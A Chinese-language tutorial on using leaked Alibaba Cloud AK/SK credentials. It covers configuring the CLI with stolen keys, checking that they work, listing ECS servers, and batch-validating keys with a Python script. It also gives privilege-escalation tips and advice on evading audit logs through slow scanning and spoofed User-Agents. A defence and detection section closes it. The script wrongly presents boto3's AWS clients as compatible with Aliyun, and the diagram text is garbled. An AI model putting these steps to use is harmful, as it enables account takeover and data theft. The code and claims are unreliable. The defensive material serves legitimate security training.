云上幽灵:从信息泄露到凭证窃取的实战演练
郑重声明本文提及的所有技术、代码和攻击演示其目的仅为技术研究和教学旨在提升网络安全防御能力。严禁在未获明确授权的情况下对任何目标进行测试。任何未经授权的测试行为均属违法相关法律责任由行为人自行承担。前言技术背景在当前的云原生时代访问密钥 (Access Key)通常表现为AK/SK (Access Key ID / Secret Access Key)对是访问和管理云上资源的数字身份凭证。它们在攻防体系中处于访问控制层的核心位置。一旦攻击者获取了有效的AK/SK就如同窃取了进入云环境的“万能钥匙”可以绕过传统的网络边界防御直接在云平台API层面进行资源窃取、数据篡改甚至横向移动对企业造成灾难性打击。因此AK/SK的凭证窃取与利用是云安全攻击链中至关重要的一环。学习价值掌握从信息泄露中发现并利用AK/SK的凭证窃取教程能让您攻击视角理解攻击者如何将看似无害的信息泄露点转化为实际的云环境控制权学会评估信息泄露的真实风险。防御视角精确识别企业资产中存在的AK/SK泄露风险点并构建从开发、运维到监控的全流程纵深防御体系。工具化思维能够编写自动化脚本来检测和验证泄露的凭证提升安全工作的效率和覆盖面。使用场景AK/SK凭证窃取的实战场景极为广泛常见于代码仓库泄露GitHub、GitLab等平台的公开或私有代码中硬编码了AK/SK。配置文件泄露Web服务器上可被公开访问的.env、config.yaml等配置文件。前端代码泄露JavaScript文件中包含了用于临时访问云存储如OSS/S3的AK/SK。移动应用泄露通过反编译Android (APK) 或 iOS (IPA) 应用获取硬编码的凭证。文档与笔记泄露Confluence、语雀、Notion等协作平台中无意间粘贴的凭证信息。一、云访问密钥AK/SK是什么精确定义云访问密钥 (Access Key)通常由访问密钥ID (Access Key ID, AK)和私有访问密钥 (Secret Access Key, SK)组成是云服务提供商如AWS, 阿里云, 腾讯云等用来以编程方式验证请求身份的一对加密字符串。AK用于标识用户身份而SK用于对API请求进行数字签名以验证请求的合法性和完整性。一个通俗类比您可以将AK/SK想象成您的银行卡号AK和取款密码SK。银行卡号AK是公开的告诉银行“我是谁”。别人知道你的卡号但无法直接取钱。取款密码SK是私密的用来向银行证明“真的是我本人在操作”。只有同时拥有卡号和密码才能成功取款。在云环境中任何人只要同时获得了你的AK和SK就能冒充你的身份对你的云上资产进行任意操作。实际用途AK/SK的核心用途是为非交互式的程序或服务提供身份认证使其能够调用云厂商提供的API (应用程序编程接口)。例如CI/CD流水线中的部署脚本需要上传文件到对象存储。服务器上的监控程序需要获取云主机的性能指标。数据分析应用需要从云数据库中读取数据。技术本质说明AK/SK认证的本质是一种签名认证机制 (Signature-based Authentication)。当客户端使用AK/SK发起API请求时会遵循云厂商定义的签名算法通常是HMAC-SHA1或HMAC-SHA256使用SK对请求的特定部分如HTTP方法、URI、请求头、请求体等进行加密计算生成一个签名 (Signature)。这个签名会连同AK一起发送给云服务端。服务端接收到请求后会用自己存储的、与该AK配对的SK以完全相同的方式对请求内容进行签名计算。如果服务端计算出的签名与客户端发来的签名完全一致则认证通过否则请求将被拒绝。这个过程确保了请求既是来自合法的身份又在传输过程中未被篡改。我们可以用一张Mermaid时序图来清晰地展示这个AK/SK签名认证原理云服务商API端点客户端 (应用/脚本)云服务商API端点客户端 (应用/脚本)准备API请求 (如列出所有云主机)生成的签名 (Signature)alt[签名一致][签名不一致]alt[找到SK][未找到SK]1. 使用SK对请求关键部分进行HMAC签名2. 发送API请求 (包含AK、签名及其他参数)3. 根据收到的AK在数据库中查找对应的SK4. 使用找到的SK以相同算法对请求签名5. 比较自己生成的签名与客户端发来的签名6. 认证成功执行操作并返回结果6. 认证失败返回403 Forbidden错误3. 认证失败返回错误这张图清晰地展示了从客户端签名到服务端验签的完整流程帮助我们理解为什么SK的保密性至关重要。二、环境准备本节将以最常见的云厂商之一——阿里云为例进行环境准备。其他云厂商AWS, 腾讯云等的工具和命令类似。工具版本Aliyun CLI: 3.0.190 或更高版本。这是阿里云官方的命令行接口工具用于管理云资源。下载方式macOS:brew install aliyun-cliLinux:curl -sL https://aliyuncli.alicdn.com/aliyun-cli-linux-latest-amd64.tgz | sudo tar -xz -C /usr/local/binWindows: 从阿里云官方GitHub Releases页面下载对应的.msi安装包。核心配置命令获取到泄露的AK/SK后最核心的步骤就是将其配置到本地的CLI工具中以便后续调用。# 运行配置命令它会引导你输入AK、SK等信息aliyun configure执行后终端会依次提示您输入Access Key ID: 输入泄露的AK。Access Key Secret: 输入泄露的SK。Default Region ID: 输入一个默认的地域ID例如cn-hangzhou(华东1 杭州)。如果不知道可以先随便填一个后续命令可以指定。Default Output Format: 输出格式建议填json方便程序处理。可运行环境命令或 Docker为了提供一个干净、可复现的测试环境强烈建议使用Docker。创建Dockerfile新建一个名为Dockerfile的文件内容如下# 使用一个轻量的Python镜像作为基础 FROM python:3.9-slim # 设置工作目录 WORKDIR /app # 安装curl和unzip用于下载aliyun-cli并安装aliyun-cli RUN apt-get update apt-get install -y curl unzip \ curl https://aliyuncli.alicdn.com/aliyun-cli-linux-3.0.190-amd64.zip -o aliyun-cli.zip \ unzip aliyun-cli.zip \ ./aliyun/install \ rm -rf aliyun aliyun-cli.zip \ apt-get remove -y curl unzip apt-get clean # 安装boto3库用于Python脚本操作云资源 RUN pip install boto3 # 容器启动时进入bash CMD [bash]构建并运行Docker容器在包含Dockerfile的目录下执行以下命令# 构建Docker镜像命名为aliyun-pentest-envdockerbuild-taliyun-pentest-env.# 运行容器并进入交互式终端# --rm: 容器退出后自动删除# -it: 交互式终端dockerrun--rm-italiyun-pentest-env现在您已经进入了一个包含Aliyun CLI和Python环境的隔离容器可以在其中安全地进行后续的实战操作。三、核心实战利用泄露的AK/SK获取ECS主机列表本节将演示一个完整的攻击流程从获得泄露的AK/SK到配置CLI再到最终成功列出目标账户下的所有ECS云服务器实例。这是验证AK/SK有效性并进行初步信息收集最常见的使用方法。步骤1配置凭证目的将获取到的AK/SK配置到Aliyun CLI工具中。假设我们从某处泄露的配置文件中获得了以下凭证Access Key ID:LTAI5tXXXXXXXXXXXXXXXXAccess Key Secret:GFbspXXXXXXXXXXXXXXXXXXXXXXX在我们的Docker容器或本地终端中执行配置命令# 运行交互式配置aliyun configure请求 / 响应 / 输出结果Configuring profile default ... Access Key ID [None]: LTAI5tXXXXXXXXXXXXXXXX Access Key Secret [None]: GFbspXXXXXXXXXXXXXXXXXXXXXXX Default Region Id [None]: cn-hangzhou Default output format [json]: json Saving profile[default] ...Done配置成功后凭证会保存在~/.aliyun/config.json文件中。步骤2验证凭证有效性与权限目的执行一个只读的API调用来验证凭证是否有效并初步判断其权限范围。sts GetCallerIdentity是最理想的命令因为它不需要任何特定资源的权限只要AK/SK本身是合法的就能成功。# 调用STS服务的GetCallerIdentity接口获取当前调用者身份信息aliyun sts GetCallerIdentity请求 / 响应 / 输出结果成功情况{RequestId:A1B2C3D4-E5F6-G7H8-I9J0-K1L2M3N4O5P6,Arn:acs:ram::1234567890123456:user/test-user,AccountId:1234567890123456,UserId:2345678901234567}返回此结果表明AK/SK有效并且我们得知了主账户ID (AccountId)。失败情况 (无效SK){Code:InvalidAccessKeySecret,HostId:sts.aliyuncs.com,Message:The Access Key Secret you provided is invalid.,Recommend:https://next.api.aliyun.com/troubleshoot?qInvalidAccessKeySecretproductSts,RequestId:B1C2D3E4-F5G6-H7I8-J9K0-L1M2N3O4P5Q6}这说明SK是错误的或已被禁用。步骤3列出ECS实例进行信息收集目的在确认凭证有效后尝试获取更有价值的信息例如云服务器列表。# 调用ECS服务的DescribeInstances接口列出所有地域的ECS实例# --RegionId all 表示查询所有地域aliyun ecs DescribeInstances--RegionIdall请求 / 响应 / 输出结果成功情况 (有权限){Instances:{Instance:[{InstanceId:i-bp1abcdefg12345678,InstanceName:prod-web-server-01,RegionId:cn-beijing,Status:Running,PublicIpAddress:{IpAddress:[121.42.XX.XX]},VpcAttributes:{PrivateIpAddress:{IpAddress:[172.16.1.10]}}}// ... 可能还有更多实例]},NextToken:,PageNumber:1,PageSize:10,RequestId:C1D2E3F4-G5H6-I7J8-K9L0-M1N2O3P4Q5R6,TotalCount:1}我们成功获取了ECS实例的ID、名称、公网IP和私网IP等关键信息这是横向移动的重要起点。失败情况 (无权限){Code:NoPermission,HostId:ecs.aliyuncs.com,Message:You are not authorized to perform this operation.,RequestId:D1E2F3G4-H5I6-J7K8-L9M0-N1O2P3Q4R5S6}这表明该AK/SK虽然有效但没有被授予访问ECS服务的权限。此时应尝试探测其他服务如OSS, RDS, RAM等的权限。自动化脚本示例在实战中我们通常需要验证大量泄露的凭证。手动操作效率低下一个自动化的验证脚本至关重要。以下是一个Python脚本使用boto3AWS SDK也兼容阿里云来自动验证AK/SK并尝试列出ECS实例。#!/usr/bin/env python3# -*- coding: utf-8 -*-importboto3importargparsefrombotocore.exceptionsimportClientError# --- 郑重声明 ---# 本脚本仅用于授权环境下的安全测试和教学目的。# 严禁在未经授权的情况下对任何云账户进行扫描或测试。# 任何非法使用本脚本所造成的后果由使用者自行承担。# --- 郑重声明 ---defverify_aliyun_ak(access_key_id,secret_access_key,regioncn-hangzhou): 验证阿里云AK/SK的有效性并尝试列出ECS实例。 :param access_key_id: 泄露的Access Key ID. :param secret_access_key: 泄露的Secret Access Key. :param region: 任意一个有效的阿里云地域. :return: 一个包含验证结果的字典. print(f[*] 正在验证凭证: AK{access_key_id[:8]}...)result{ak:access_key_id,sk:secret_access_key,is_valid:False,account_id:None,user_arn:None,permissions:[]}try:# 步骤1: 使用STS服务验证凭证本身是否有效sts_clientboto3.client(sts,aws_access_key_idaccess_key_id,aws_secret_access_keysecret_access_key,region_nameregion,endpoint_urlfhttps://sts.{region}.aliyuncs.com# 必须指定阿里云的endpoint)identitysts_client.get_caller_identity()result[is_valid]Trueresult[account_id]identity.get(Account)result[user_arn]identity.get(Arn)print(f[] 凭证有效! 账户ID:{result[account_id]})exceptClientErrorase:# 捕获客户端错误例如凭证无效error_codee.response.get(Error,{}).get(Code)iferror_codein[InvalidAccessKeyId,InvalidAccessKeySecret,SignatureDoesNotMatch]:print(f[-] 凭证无效或错误:{error_code})else:print(f[-] 发生未知STS错误:{e})returnresult# 凭证无效直接返回# 步骤2: 如果凭证有效尝试探测ECS权限try:print([*] 尝试列出ECS实例 (cn-hangzhou)...)ecs_clientboto3.client(ec2,# boto3中ECS对应服务名为ec2aws_access_key_idaccess_key_id,aws_secret_access_keysecret_access_key,region_nameregion,endpoint_urlfhttps://ecs.{region}.aliyuncs.com)# 只请求少量数据以快速验证权限instancesecs_client.describe_instances(MaxResults5)num_instanceslen(instances.get(Reservations,[]))result[permissions].append(ecs:DescribeInstances)print(f[] 成功! 拥有ECS读取权限。发现{num_instances}个实例。)exceptClientErrorase:error_codee.response.get(Error,{}).get(Code)ifNoPermissioninerror_code:print([-] 注意: 凭证有效但无ECS读取权限。)else:print(f[-] 发生未知ECS错误:{e})# 在这里可以继续添加对其他服务如OSS, RDS的探测逻辑...returnresultif__name____main__:parserargparse.ArgumentParser(description阿里云AK/SK凭证验证与权限探测工具 (仅限授权测试))parser.add_argument(-ak,--access-key,requiredTrue,help要验证的Access Key ID)parser.add_argument(-sk,--secret-key,requiredTrue,help要验证的Secret Access Key)parser.add_argument(-r,--region,defaultcn-hangzhou,help指定的阿里云地域默认为cn-hangzhou)argsparser.parse_args()final_resultverify_aliyun_ak(args.access_key,args.secret_key,args.region)print(\n--- 验证结果总结 ---)print(f 凭证是否有效:{final_result[is_valid]})iffinal_result[is_valid]:print(f 账户ID:{final_result[account_id]})print(f 用户ARN:{final_result[user_arn]})print(f 已确认权限:{final_result[permissions]iffinal_result[permissions]else暂未发现高价值权限})print(--- 结束 ---)使用方法python3 verify_ak.py -ak LTAI5tXXXXXXXXXXXXXXXX -sk GFbspXXXXXXXXXXXXXXXXXXXXXXX四、进阶技巧常见错误地域Region错误某些AK/SK可能仅在特定地域有权限。当在一个地域操作失败时应遍历所有可用地域再次尝试。临时凭证STS Token误用有些泄露的凭证除了AK/SK还有一个Session Token(或 Security Token)。这是临时凭证必须在请求时一并提供。在Aliyun CLI中使用aliyun configure --profile profile-name --mode STSToken进行配置。IP白名单限制即使AK/SK正确但如果云账户设置了API调用的IP白名单从非授权IP发起的请求也会失败。此时需要寻找SSRF漏洞或利用已攻陷的、在白名单内的云主机作为跳板。性能 / 成功率优化并行扫描在扫描大量代码仓库或目标时使用多线程或异步IO如Python的asyncio来并行化AK/SK的正则匹配和验证过程。优先验证高价值权限验证AK有效性后不要漫无目的地探测所有API。应优先检查高风险权限如ram:CreateUser(创建RAM用户),ecs:RunCommand(在ECS上执行命令),oss:GetObject(下载OSS文件),rds:DescribeDBInstanceAttribute(获取数据库信息)。利用云服务自身特性例如AWS提供iam:SimulatePrincipalPolicy接口可以模拟一个操作直接查询某个AK是否有执行该操作的权限而无需真正执行它这比逐个尝试API调用要高效和隐蔽得多。实战经验总结AK即资产不要轻视任何一个泄露的AK/SK即使它当前看起来没有任何权限。权限是动态变化的一个今天只读的AK明天可能就被管理员错误地赋予了管理员权限。关注子账户RAM用户获取到的AK/SK通常属于子账户而非主账户。应立即查询该子账户被授予了哪些权限策略Policyaliyun ram ListPoliciesForUser是你的好朋友。寻找“提权”路径如果当前AK权限有限检查是否有ram:AttachPolicyToUser等权限。拥有此权限意味着你可以为自己“提权”将更高权限的策略附加到当前用户身上。对抗 / 绕过思路绕过日志检测防御方会监控敏感API的调用日志。为了绕过检测攻击者会采取以下策略使用冷门API避免使用Describe*、List*等容易被监控的、用于信息收集的API而是寻找功能相似但名称不常见的API。低频慢速扫描将API调用分散在很长的时间段内模仿正常业务的调用模式避免触发基于频率的告警。伪装User-Agent将CLI或脚本的User-Agent修改为看似正常的业务应用例如MyInternalDataSyncService/1.0而不是默认的aliyun-cli/3.0.190。在Python的boto3中可以自定义UA。五、注意事项与防御错误写法 vs 正确写法错误将AK/SK硬编码在代码中。# 错误示范硬编码凭证clientboto3.client(s3,aws_access_key_idLTAI...,aws_secret_access_keyGFbs...)正确通过环境变量或角色授权最佳实践来提供凭证。# 1. 通过环境变量提供exportALIYUN_ACCESS_KEY_IDLTAI...exportALIYUN_ACCESS_KEY_SECRETGFbs...# 正确示范1从环境变量自动读取# 代码中不包含任何凭证信息clientboto3.client(s3)# 正确示范2最佳实践使用RAM角色# 在ECS实例上绑定一个RAM角色SDK会自动获取临时凭证clientboto3.client(s3)风险提示权限过大创建的AK/SK拥有远超其业务需求的权限如AdministratorAccess一旦泄露等于整个云账户失陷。凭证复用在多个应用、多个环境开发、测试、生产中使用同一对AK/SK。一个测试环境的泄露会导致生产环境受损。长期有效创建的AK/SK永不过期增加了泄露的时间窗口和风险。开发侧安全代码范式严禁硬编码任何情况下都不要将AK/SK、数据库密码等敏感信息写入代码、配置文件或脚本中。优先使用角色在云环境内如ECS, Lambda始终优先使用RAM角色/实例配置文件进行授权。这是最安全的方式因为它避免了AK/SK的持久化存储并自动轮换临时凭证。凭证管理系统如果必须使用长期AK/SK应将其存储在专用的密钥管理服务中如阿里云KMS/Secrets Manager, HashiCorp Vault应用在运行时动态获取。运维侧加固方案最小权限原则为每个应用或服务创建独立的RAM用户并仅授予其完成任务所必需的最小权限集。定期审查和收缩权限。AK/SK轮换制定策略强制要求所有AK/SK定期轮换例如每90天一次。IP白名单为需要通过公网API访问的AK/SK配置严格的IP来源白名单。泄露扫描集成自动化工具如Git-Secrets, truffleHog到CI/CD流水线中在代码提交阶段就扫描并阻止包含硬编码凭证的代码合入。日志检测线索通过云厂商的日志审计服务如阿里云操作审计ActionTrail, AWS CloudTrail监控以下异常行为异常地理位置登录来自不常用国家或地区的API调用。异常时间调用在非工作时间如凌晨的大量API活动。权限探测行为一个AK在短时间内连续尝试调用大量不同服务的API并产生大量NoPermission的失败日志。高危API调用对ram:CreateUser,ram:CreateAccessKey,ecs:RunCommand等高危API的调用应设置高优先级告警。凭证创建与使用监控ram:CreateAccessKey事件如果一个新创建的AK在几分钟内就开始在异常IP上活动这极有可能是被盗用的信号。总结核心知识AK/SK是云环境的“钥匙”其认证本质是基于SK的HMAC签名机制。凭证窃取的核心是利用信息泄露点找到这对“钥匙”。使用场景攻击者主要在代码仓库、配置文件、前端代码、移动应用和在线文档中搜寻泄露的AK/SK。防御要点防御的核心思想是“不信任代码信任角色”。严禁硬编码优先使用RAM角色。同时遵循最小权限、定期轮换和IP白名单原则。知识体系连接AK/SK凭证窃取是云安全攻击链的起点后续可连接到权限提升从低权限AK到高权限、横向移动利用一台ECS攻击另一台ECS或RDS、数据窃取下载OSS或数据库数据和持久化创建后门RAM用户或放置Webshell等多个环节。进阶方向深入研究各云厂商的IAM模型和权限策略学习更高级的云上权限提升技巧如利用特定服务缺陷探索云上攻防对抗如绕过CloudTrail监控和MFA限制。自检清单是否说明技术价值是否给出学习目标是否有 Mermaid 核心机制图是否有可运行代码是否有防御示例是否连接知识体系是否避免模糊术语